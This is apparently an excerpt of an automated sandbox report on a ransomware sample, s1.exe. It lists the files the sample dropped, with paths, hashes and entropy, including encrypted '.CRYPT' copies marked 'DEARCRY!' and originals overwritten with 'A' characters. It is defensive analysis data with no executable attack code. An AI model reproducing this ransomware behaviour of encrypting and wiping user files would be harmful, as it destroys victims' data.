                                                              Preview: DEARCRY!......=.P...,.W..H./.j...{...V...?..M^,mO.iJ........R.&...L.fi3(h..Lq....G.>.._.}..,......Ze..^.$.......... ? 6...IKo...8.}r.[.j.F...=.. ._!....%.<.;.L......K1..=.a.1.X........v......j}.e]g.LA........L...(.t..D.xB....V^M..Z..C..*[(.6....._...y.j..............3.z.Y.a/.....G2...J.X..U..!.c.DEARCRY!......q....L.5....b.D..p.d.K.W4M...&.q...).~.3K...'{.P.+..i......W3V..l6.mL!s.v..Q_-^.w....v..[...C..)........a...K....)AD...@..Q.s..XiP.R[.T.^..ieU..U..%.s.q..?.B.2...%S.0..A.7.F.hR$.+.<F....]..3..R4.W=......@.u.!..}.).2.[.q........foa.....%..*..............w....Sk...)E&'+..MLnG.'.X....-.DEARCRY!....Q.......6iSM9..j..!=F..7.h.bM.. ....@.XX......-.#.....Eo.p......[.b.;.!it`c..j..w..,......~.NbB.l.:.h..f...nd....{.Hs.e7]..&.J-~...l...(=.?..V..J:.N.z...f.....jo.W..'.H.`5LS...P......'4....y..Q',.m..%....G.z.j......y....#sNF.....0.p[.0..;/w.x.P.oB.'_..............W....3v{.0I....!<...$6.....,DEARCRY!....k../}...l....>.E.8;..4c.T...O7....XLK6.?.iw......9
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.191860384141856
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2662E78A29A6EA2EB251787AB842C40A
                                                              SHA1:DC45F945F42D0C95AC7B3745E6A04E0CAE1EDAF8
                                                              SHA-256:590CB50EE000B9F7645006218DAEC0930A6BA12D4D1C986DD307ECE83CF844B3
                                                              SHA-512:3C097A996596156E39C3506E3A9E250942B0DFB4F908F98CA6DFCF5DA6540F104E427AF876FBB0D0DEAF5331A042E2C9A35ED47CB4E50A06070BE3871AB8C0D3
                                                              Malicious:false
                                                              Preview: DEARCRY!........5.e....n.@.y...I..5.M....L..9..rw.$?~.}..T......R0.,k.~bu....W...a.]Zq.T.'....'..J..+..r[.......K..h.+.K...0....O.%...P...W..1.5..5~.n....T.F.m.5..B..,...q..2j..1..l.`..b....'..F.I.t$..6A..\....Y..y.....xA..%..@..w..H..$........\..^..............Z..z....k...<..\~.....A.{;..g
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):72
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:24A5EF3682803A062FEAADAD76DABDA8
                                                              SHA1:41F9070504F9C81ABFBB614DAAEC3B26A2F9237E
                                                              SHA-256:6A6D691AC9BA70955046757CD685B6257773FF3AD93F43D4D4812C5B106F4B5B
                                                              SHA-512:FAEB0E620A475F4870710803DDCAD8ED1D37060A4F08057E9C9D151737CFDE171575280BA27583DDF183E28FA691E00E18AACCD4C48207E9740CD62169DBA342
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):936
                                                              Entropy (8bit):7.64465473044227
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C3357D92470B04ADF2F10DE57695B353
                                                              SHA1:92EE98705C451C524E7C42303C353BAE5C7B1FD8
                                                              SHA-256:826921AE54A8A0C26C7A5F5495F05D4369389175ADE6CA11388514ABD866F59C
                                                              SHA-512:5D283FE708F51DE44D83D5094AA80B5EE3ADF391FFDDF3FB12AD632E871C5180DA5F01AD11E005B7AB66F908388A61F2C403E48901FEBBC5C1B075BC34284E54
                                                              Malicious:false
                                                              Preview: DEARCRY!....C....).q.:.,..O.b.6.[...Z.%..)y.x3...w.y^.0...G.....da....,.QM..M......(..-O..&.Q..n.A....$Q.....,..<..'.+..x_..n.:z.c..r...20(....:.;8.T.!.B=.H~0.-.q..}.s...Oo...e.Z.mQ.0+..".8.ap......S.4-gE....9.kI....(=/r....B`o...t_g...G8D.....w.<1u.@.:j..................<.;...h..).n.P1O?tI..!.G..].DEARCRY!....|..B&.wml) .!....[..;m?.......*{.y.....G.~.JV...T....w...m.}....b...s.U.....R..<_.X....._.(.....F.M..G2)...A.r^>..td*..G.d.`5...%....;L....d...'.ml...B. .5..p...&.C_g..G.v.[...(..R8.tZ.....D.;7.%....._.b...Jv`..Y...Ejb0R..D.R...o..Y.h1.#.....................$G.z.y8.......W.....%U..DEARCRY!....q.eR...4>_g.a..tR..E.#.U`.(..kn.c.i..=?...W=..^e......,qI..p...T....<....Y^...Jv....1c...(|.tr..0.zOe..gq\.R..s.UGt]7...<'F..N...J....[....L.....;.g.....i.KR.W.w....2..-.L..E..Y...J..2-..p.....f.x.....^..v..Ot.z....<.."..@g.......t...f..2.;S....C...................\/).^/(...T..D.G....V%.....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012020093020201001\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1480
                                                              Entropy (8bit):7.752057950186755
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7ADFCB478825DD33FEF7479ED05BFA51
                                                              SHA1:C3194ECDB8F6ED730E14E52D0927780E77EBB08F
                                                              SHA-256:126A6861E727C02F2F3727077699FEACE7D3C83B36E3F655C8A81F1C14DCDAAD
                                                              SHA-512:B638C39FD877DAFE101F8355BD63B01BB6234300FB396F78BF5444563D4F540F88BE47AE11D64AC6211C3BA9AF068E1335B68016FB1B5E6858D2B89F1C1956F4
                                                              Malicious:false
                                                              Preview: DEARCRY!....?2....M.1.w.<.aA(*L...M^..y..H>F.9.Y.C.........U..uG.^...D`.3.......U..&...%..q..1;.r.j1...o5..F.f=..16........N.B..tJ:../....S4.......U2.P..k.......9z.Ls9.B.J...JV....g.......I.sXf...0I......x..t...F.}V2w..<I......>m..... ...?H...v:..]~V...>|d{................Y..@=..2....DEARCRY!....d'E...P..5Au../.x.{..x....J..1.V..&B.w..../\J.;.~.......H..;.8:....^Z.M@.f.nv..-..(q.d'.G..~oN..:..\..-z 1.....b{[P...@x<.6?8._...Z.w)*[X3_P....!.V.#..aW~..]"u3.@.G.M....].._..F...PSF.e.bz...1F.q....n...x....b..1EkF.$...1....n..'C(..-..uQ....o..............cK./..?.m..A.L.DEARCRY!....N..8.......X...z2..."H../.........[.=u.}>.,lg.Z....4.l..2DKs..ve...&..S........|F...C8.e.W:../.~...H....T.....U1.$..QHs(..>G...D.......V.%F.3B.mc...!.|.W.$....Q...B.a.C.........E#.....+..oA8.....kx....\..../m'L?R...L..c^.>?.I1..,.J.=.y..Lv...............X...t0...o..DEARCRY!.......-..A..>;..u..{.E4.S..PO..&.3['..3.y.......n..9.....Zi.{.d.B......?...:..$.....XPr9e....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\History\History.IE5\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.213624828707731
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AF3910C8725EDB224A09AFD16F4444BD
                                                              SHA1:4E2BA095A3428F99D54BA25BCC06E4580DF3228B
                                                              SHA-256:84F834A6DAFC415C9B83264566A80C230034F8B90451339A8D274AB7B8AFC7D0
                                                              SHA-512:9925BAF5C060A85CF0B12CACA6F37D5798A526F40B7879DAA844DF09E4966F0D4B9844F761DAAE37530CC9FBA7EE9AE00EA35513F87F365901DCC9A5B9F4035E
                                                              Malicious:false
                                                              Preview: DEARCRY!....I......<@..e..3....M400y.g_ p.+.lH.._.N..G.B.^s.'3(...6u...#-G.O.'.4k.r.=.?...;..%}.T.2.n.{.)..v...x.b...D.Y}..,i.}..!.[.?..u..z....@...y..(._...Z..t...V..E..1.,.S=...b!...o.@..Ga....`..f.>n.......N..c.S\'..O...%..5.7\N..8.~6..>........vv.....k............... #i&.......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\History\Low\History.IE5\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.208469583726296
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:19CA3EE0932974E003BD91433B55222E
                                                              SHA1:D30E22EA93D2F2F5A4376F6CF8056A3508992BFA
                                                              SHA-256:8234DB4143E37D94D70BB0DD390AF10F14D2E9C5FD835D2A44946EDB87A3EB52
                                                              SHA-512:1015B105151A8785769CB0109E6FD0D378C46265CF0D6132B69FDE0DB666816F6CC914F5B56B5CBF520BB91498BCC9B1698BBB98CAD41B6AD52BDF584D34F49C
                                                              Malicious:false
                                                              Preview: DEARCRY!.......@.....!....`.YE.m[z....+.X.....z..... 4......O..$...m.<B."..zr.......)49..[7....^2..aycq...l!U./YEa..W.L9...'.......l@<..!`..\.6{`A.u#H..?l..:..EP.D...p.=..G...{i..... bmU..k....0$.%..>..m...1.nW2!Z[.h..I..n..&\......;Y.{e..{.u.24..Z7...>............&..3........C..Z
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):130
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E79C1023AE890F40AD58C6571364F968
                                                              SHA1:316A25C625A5E881321AA8EB483367DF94AA6190
                                                              SHA-256:466A1916275BCCBA527763F930CA4A42A81F55E28559FB66108FC314CDA386BD
                                                              SHA-512:D4426E18470CA1B94106CA189255CDAF4C4E6C08BDE1E7F66E3430D0707B3EDC2851D5C30BF32CA1C654FA3FA4C357C722899EA10985498F7CBA4C07201DAAEE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):424
                                                              Entropy (8bit):7.436689936164022
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5D7DA240C9247712983A64844ED0430D
                                                              SHA1:5A18BE846308125706EF89A0817F1E13D0C8F9AB
                                                              SHA-256:D5A4A414DC693F7A3E5825ACB8EE9289547C58FFF1CB9EFFC1D81EEDC6092926
                                                              SHA-512:FBA3B2089408BD72CD258FC0B857FF24374AF7A6BDE47CCF1CB4CDF1FCAECEAA865818FEF68107074EBEB5283749025C8A5CAB2CF03AF9218B45AA33C9075E9E
                                                              Malicious:false
                                                              Preview: DEARCRY!.......t..I....x".[...Ai..w...qO.Jc+=.....@....l:}....^.l.V...e3..D.I~..}../...Z.<...)..e.s............G.......].....8#dq}.X8.i..s.....t~.,3.. p....|u....H....*...O0.y.w.......x...e...Uv.?.."6n..%..K.B.%-.9!.C4E.Dl.......}.D!T....o..F......2.t<..r...............`F.e...a<...%Pw;...r..0h..Ds...v.b...Kh..7.x.[..(....).w.0.[..qXK.8!..p....)a.+U..<....7vD).Z.....s...v.Y?.W.x.T..l).5.l......T.....u\..*`.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\IECompatCache\Low\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.183098722225195
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:70C40A4596B5DC23FEFF3B6279D8BA30
                                                              SHA1:F7FA8DB667CCC21E89E5DA5C9BA8C52FB40A7833
                                                              SHA-256:E7A51F190E6296EAD5EFDFA4F6B06FBF27212FA957E37ECD42BFCBDBB7050F6A
                                                              SHA-512:AD780E9BBB525ED870AED462B5D7B79F45910DE4A46E5517D7F27EE55AE720DF810F3CE712EDA004D54F38B783655B28D8480E52FCF7066AF24C2486DBA746EC
                                                              Malicious:false
                                                              Preview: DEARCRY!....KK.}.O........"......V.?.r.l.(Gm.G..f..3...tn.._.gm..H..rU.z>..}./3.(...~...............Oz.@.s|Q..6...T.....9g..._.w|.F.4..Y.B.[V./..&.."...b... .X..~/..qe.>|.~(Z...R......U....j.=..<.....S.\...(..4Ct4.P.L./..U.'1.{B..7<.p1...I.Vuw..i.............."..9.4Z.p.f..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\IECompatCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.2261895583811535
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A2C0403C440C3DE690A6E751D56FB6F6
                                                              SHA1:981EB50015B9E5C769D4D90D39F830D184CEEE6E
                                                              SHA-256:0BBF0E7A35716A24325035818D3E3DC2697BC1538C6D2BDB98F42EE9AE94779E
                                                              SHA-512:8A7D32E517741EC01B6D13A1BB86FE219D9832088A6F879B85FFFF798572031D90999F6C5C476DC6FF69096A24250DE010A4BD9C7364A2016668E6623D096652
                                                              Malicious:false
                                                              Preview: DEARCRY!.....SY........0...x.IC.\.....1..>{.i96..=.2L.........;.&...;C1m.p.......3W.....[."w...I......G.....([....!..:+.d.......:..].h'r..V..... ..m.....p.M..t...Q..V.>.g...hL.H...7;.4........._..........XF#....o...(>..U...|..O}....3.S.=.-5..K..l1..0?u............'..I .OE9'.x..k.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\IECompatUaCache\Low\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.202324227464668
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F1647E135812D683318BC25961F378A3
                                                              SHA1:4309281A7DA60FBCDB5424238875C7D053D4679E
                                                              SHA-256:248777102C0BDB96F69D5BE191E61F0D66D90001C6733806EE1A3C7E7B99BDC2
                                                              SHA-512:67CA4A4EF0BC074178A4557D0A76967F939C96CFBF5BAF8BBF426743AF656A724605D5C09974808A3CD75B19A52019BFD5D24891242CA763A2E14FC6ADB17E79
                                                              Malicious:false
                                                              Preview: DEARCRY!....K3...i...%..x......6g.:V..#.{h3P...&..>..N..I.;oRB.%_v..%k..S..F".>.....v.f,7..[D...XX{..*Y8!(..J.[H......p.../..t..b..x.?.... .!.^-..|..vD.tl..m>........@^... ..A..LNl.p..3.f.Icx=.e..s...p....$O....z.9iol.IR}.k.2..lz".P..S..j~n.[C=....D...D...............T...za.,.{...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\IECompatUaCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.240422664491165
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:560A8096B82F176072B322DFD3BB8A39
                                                              SHA1:96F73A4E6144B15051F98BE1C827A310CE9AAE3C
                                                              SHA-256:F7D1D3F084C26BA1C0E0925395BE243B2058DA1453A699993298C30EBEC04644
                                                              SHA-512:B58B37B8B71A431AE177633317F98D5F8A43E39E552FFAE5133B8F79120FD0B6317643123205481761C6D9124AF94548D0499F9C484DB839CAFD83BBD4D3B726
                                                              Malicious:false
                                                              Preview: DEARCRY!....Q...{.z.u..a..V..4....6.......$.z......KRBv..3..G.o..&....&.k.+.4.RS..*.L.-mm2..'..>N.].i.....bG.v.H(.s...mLQ....N`...[.\...!.`2T...J2.l...A..i:.rJt..; ...u.j.uH.......|C...[.`/.v.7..x@...E~7.'.x9..c....*.."J.d..a.l6.....Gz..m..<..7.x..3c.....................I...X....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\IEDownloadHistory\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.146764642825992
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:98A575ED4BAC494505CD3BB7DD308AB9
                                                              SHA1:00E81AFD0364724FDD80F77700A69A01B7B05DC8
                                                              SHA-256:0856CCDD64CD9A6F7140061B1C636871E1864D607590B334BA29A437F19A0FB2
                                                              SHA-512:6B88F1D1378FBF64BC539F3D9A9346A5A3647988A4439F0D2D5524E4C222C3D65461CEA62B67EF0CAEE91C857E62DAD6F15B165A13CFFE5E10851CDA76D870F0
                                                              Malicious:false
                                                              Preview: DEARCRY!....^hA./.{....JY;..B.Gq..k.'m.)../...2;.AD...6.......2..tW.1.L'.O.*...?..4=$z7.`.5..!.|.0.i.E.d....boxK..x.b3..3..h...........;eo.^.la...@.o.~..W}...W/d.P...*.h3-.,...>.{......!&.>AH7.._.....Grd.\..x.nk=|>.]...cV.\.I...5.S@.3.ih1...+.E..>1E.a..............T..E.].+...}..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6512
                                                              Entropy (8bit):7.831731619876897
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A987754E26EC41CCD6D10E33F2131DBB
                                                              SHA1:AF66A37370746E4ED10C3D1065B3968E076B9E13
                                                              SHA-256:9503561D78B00D453CA7D48C682FBD56C66A6C68C475C51CB3444ABD4FEE97B1
                                                              SHA-512:F9B9E0D97CC0D465F80F407401859FEAE7F205A3CFA59860272F923A2B10FA9F0294D3851B1C5C931D380BDB89E507E01185AC11F9206D03F856332EF1534661
                                                              Malicious:false
                                                              Preview: DEARCRY!....=M....V......._p$.t....f.......^...."qJ.....O.A.]~.....3.....V.\....v.<.kW.U.R...._.v4...'.x.<........|......WZ..W.[...]~.nBPm......k..G(.P..yi.#@.M..f.E...h.d. ....n..%Q.sR.n(.8......P...X.o...7~XI...;..%....&.Y\...8..F@.Z.H1..A...>...E..\l..............(......2j...)vDEARCRY!.....q.j,.c...".W..P....e...<.Nbc._..p.........#e..Lf..S]y.,...R.M..r.a....<...P.$+.h.m..".^...AOM...<..s**t.Z<..........[..S..d.J(...M..J....].O.#.G.I G..G"E.?.E<* c...,Vd5..W......}..1....=...'{ZJu<R,.]t..".a..,.r.,...W/@....O>+..+..vY.M.rD.(..............>....a.Qt...#f..DEARCRY!........[..8....d.B....a..vW..=H#..&l.jq.W..Ve....1.._.L1....q$..&..D.0.&+U.O7..#.IY........E.[..n..Y.........u.fp......h.K;..]^ti....?...fphL.[X.(3<M5..........g<.jV..#..C.@ruA?N..>c(lR...m3...#.vt...'...h.....~.+^...k]^....%.m".V.Ca\....x......?.............W'L...e.N...E..DEARCRY!....[.{G_..=|^.........DV..cP.*.c...j....|...^.....IM.5.k.,,h,&ss..y....R..).a...:...y-...H.......p].
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5920
                                                              Entropy (8bit):7.8237723124067164
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2D8C4A6C5CDB50BA4D2657B7A7D54DB6
                                                              SHA1:4D017434593E69F006DD50FA7A4C81E82F6B4439
                                                              SHA-256:0931507AC81A02D5065E05EE34E64AEE4C905B69E86E5D4E4009BD2069A87683
                                                              SHA-512:1815641683CADA6C6857E24FD3464AE3C85F34CFB58AF2C02A20E4F13B8561389D4BD60DA8EDBEB11DE33DA4D3C39913B57E226625D45B1695DFF29ED479FAAD
                                                              Malicious:false
                                                              Preview: DEARCRY!....1.4.......|..R....]G;...$. a...`..G..}X...EY......=|G.<..qn..;.......W.amu:.H...FX..]......+d3......pY.....S.q'.I..OA....A........<Fnb..o|.).#...|d.$B...J.>. F..<.1&~.T<...c........5.?.bBG+..|#..#$2)...-....).i......Av@..I.?.<.88.|..^.......M.K..............=.*Fe..p.RwB.%.yDEARCRY!......]J/V.5...,lS.V<.....Dwf..Q..9..!g............`.g..V|./)..=+y.0..A.^[.....D...fR`..oAO.}}N>...W...".x...(8..&.I..1.yF....3*....z..D9.BL.E...L)%Z[.e.=.}V..(j..C..n.....J.VA.p....).V..Z.......1...,.....L)D.......1..N.. .q......]^t'p... .X.y....\X............=n.?..T".M....:.DEARCRY!.......S1,.q..>....d.|q-...P..x..#`..&.b.@.....<._x..l.}k|...kSs.vj.9.....*...?.4........Z..X._W..YC....Y..z\3...M..J...5T.,.;h.WmX.,r.A.<9...W..~.h..,..C3.0...G@8|...x..0?PGU.x..aLS.....K.F9+n$...T..A1.\.H#uB.........%.:I~.....N...Z$.].`<...W.................H8.kEf.1.q@DEARCRY!......p...Md...Gl9..Xl-'.-8eDO:J.r..!L.8...O..............>........T.....mi[...K..WI...0W....C....G.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\MSIMGSIZ.DAT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):540320
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:601F5D8B91F878CCF110A054C7320CCE
                                                              SHA1:300C12B1E0079AEAE59B159A9325C1936A50EF5B
                                                              SHA-256:922F543C1FCB37CC0B712A073AF8BB386AFF93162F1CC9AEF0DAE0FF15856A84
                                                              SHA-512:5768F7833A7BB3CD016C8B271BBF606746E7BC6E203D4F8D54F77C7BBBEAE579D3BC7070969BBB479CBBEB2117DBB5C5E14BE73ACB12AAED62C04F7BE22804B7
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\MSIMGSIZ.DAT.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):543576
                                                              Entropy (8bit):7.999613507367698
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B9BE2C9A7EBDEBECD73B4C08DDFBF589
                                                              SHA1:F7400D93E43EE08912FF27871EEA7FE71C9BE356
                                                              SHA-256:487EC7EC9130B893D9ADDAD486AACBD71282EE56ACDAC8C8B5E1010D4D0C8B56
                                                              SHA-512:7DA8A049E528783246CDFC517EB6D18452A941CB3C831FEBF6986069FB4A2231C1BB39B3E282F18906F93D333101AA12F9DE83180AFA27172C069D168E7BF99B
                                                              Malicious:true
                                                              Preview: DEARCRY!....]...89.~....7..K..;$....%..;...3...nW.kk.\...........\F.T.2.".p......K.fa.....T..qr..N4KP.H..f.9m......O.NA.=...Q.!...C...7.b.|....8.......W..vE`....].q;........d5......@0,W..N.UK.. ....OC&.C.U.Q..k...<h.m...t+...).E.......6S.6N.U..X............E../.=0.....(.M\.d.Jv.3.o.V.. ...G...,;|.l..G2j..V..[...U.#e...hs...Rn.....V.p...>.Zk..w.^jh....|.~.B;.L.W/b.o%\..pu.....0.Tp...`..7..J+....yj..k..(R=......../.............H..+c..mZ1...k]`..A....T..2.`.P+.}.P#.:.B1.$.f....%T..G.8S..=&.. .%".[n.4.?zK;.kW'f.E...@t......."...........1.x....K`..fo.O.].D.Z..(.....V.G(...Y..sB.y........o...._h...{...nk`.'jc!?...j.5.KS...2>l.{...........G1..Kx.dG!.M..@.{......c.s.@.3...%...oI@.E\.Gze. 0&..@N....G...........-........x...0.....iU..NH=.......K..!b..Y.....}....qnB.ise.....d..I.}..M....A....X....K.x.SD%....U.J..Sem~s.E.z.....C.C...Rz..aOP...<w...DYL..E..D...-..;........K...=.\",Gz~.DG..A.?,...?J.-r.Gd. .SXA`,VQa..%.o.....1.h..7....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\SmartScreenCache.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):123016
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:22903C6417ED767D248B0566227010DA
                                                              SHA1:067C92DAD0C838DB2F3564673B8BF079EBD15616
                                                              SHA-256:55C0B857203F3C041D7A10027F54D39358DF624D9DE61261C39CE97793996F88
                                                              SHA-512:5FBDDA616FA9195EE09B60F5683B722E768ACFE3B16E0632150B8E68B34A36C0D73F7223215A0D1AD059F84A4FDD39F7B5C8499249EACF1BB114F61A576F820A
                                                              Malicious:true
